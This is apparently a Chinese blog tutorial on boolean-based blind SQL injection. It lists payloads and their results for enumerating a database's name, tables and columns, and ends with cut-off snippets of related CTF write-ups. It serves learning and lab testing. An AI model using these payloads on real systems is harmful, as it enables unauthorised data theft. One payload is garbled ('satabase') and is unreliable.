滲透測試 SQL盲注基於布林的盲注

2021-10-10 15:10:24 字數 2540 閱讀 9518

普通sql注入和sql盲注的區別

sql盲注的思路

基於時間的盲注

通過構造真or假判斷條件的sql語句,且sql語句中根據需要聯合使用sleep()函式一同向伺服器傳送請求,觀察伺服器響應結果是否會執行所設定時間的延遲響應,以此來判斷所構造條件的真or假(若執行sleep延遲,則表示當前設定的判斷條件為真);然後不斷調整判斷條件中的數值以逼近真實值,最終確定具體的數值大小or名稱拼寫。

sql注入流程

判斷是否存在注入,注入的型別

測試語句

輸出結果

1 and 1=1 #

exists

1 and 1=2 #

exists

1』 and 1=1 #

exists

1』 and 1=2 #

missing

判斷當前資料庫長度

測試語句

輸出結果

1』 and length(database())>8 #

missing

1』 and length(database())=4 #

exists

判斷資料庫名(以資料庫第一位為例)

測試語句

輸出結果

1』 and ascii(substr(database(),1,1))>111 #

missing

1』 and ascii(satabase(),1,1)=100 #

exists

判斷表名個數

測試語句

輸出結果

1』 and (select count(table_name) from information_schema.tables where table_schema=database())>5 #

missing

1』 and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

exists

判斷表名長度

測試語句

輸出結果

1』 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #

exists

1』 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

exists

判斷第乙個表的字元

測試語句

輸出結果

1』 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>111 #

missing

1』 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #

exists

判斷表中的字段數目

測試語句

輸出結果

1』 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=『users』)>5 #

exists

1』 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=『users』)=8 #

exists

判斷資料庫欄位名

測試語句

輸出結果

1』 and (select count(*) from information_schema.columns where table_schema=database() and table_name=『users』 and column_name=『user_name』)=1 #

missing

1』 and (select count(*) from information_schema.columns where table_schema=database() and table_name=『users』 and column_name=『user』)=1 #

exists

CTF 基於布林的SQL盲注

ctf學習 基於布林的sql盲注 提 示 基於布林的sql盲注 描 述 sql注入 訪問題目,又是乙個web login登陸介面,根據提示可以大概猜測是乙個sql post注入題。123 當username admin時提示password error 可知使用者名為 admin 對username...

bugku基於布林的SQL盲注

解題思路 我用使用者名稱admin,密碼123456,提示密碼錯誤 我用使用者名稱admina,密碼123456,提示使用者名稱錯誤,說明使用者名稱是admin 我的字典sql盲注無法破解密碼,於是我在網上找了乙個大佬寫的pycharm指令碼 記得安裝requests庫和改url import re...

滲透測試(二)SQL盲注

測試靶場 掌控安全學院sql注入靶場 通過表單登入注入,原理與盲注1類似,僅存在傳參方式問題。找出此資料庫存在的表 or select count table name from information schema.tables where table schema database 3 以此得到...